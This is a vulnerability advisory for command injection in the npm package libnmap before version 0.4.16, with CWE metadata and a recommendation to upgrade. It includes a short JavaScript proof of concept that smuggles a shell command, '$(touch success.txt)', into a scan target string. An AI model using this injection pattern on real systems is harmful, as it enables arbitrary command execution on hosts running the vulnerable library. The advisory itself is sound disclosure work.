GHSA-7g2w-6r25-2j7p

Suggest an improvement
Source
https://github.com/advisories/GHSA-7g2w-6r25-2j7p
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/11/GHSA-7g2w-6r25-2j7p/GHSA-7g2w-6r25-2j7p.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7g2w-6r25-2j7p
Aliases
Published
2018-11-01T14:51:33Z
Modified
2023-11-08T03:59:59.515770Z
Summary
Command Injection in libnmap
Details

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-77"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:22:42Z"
}
References

Affected packages

npm / libnmap

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.4.16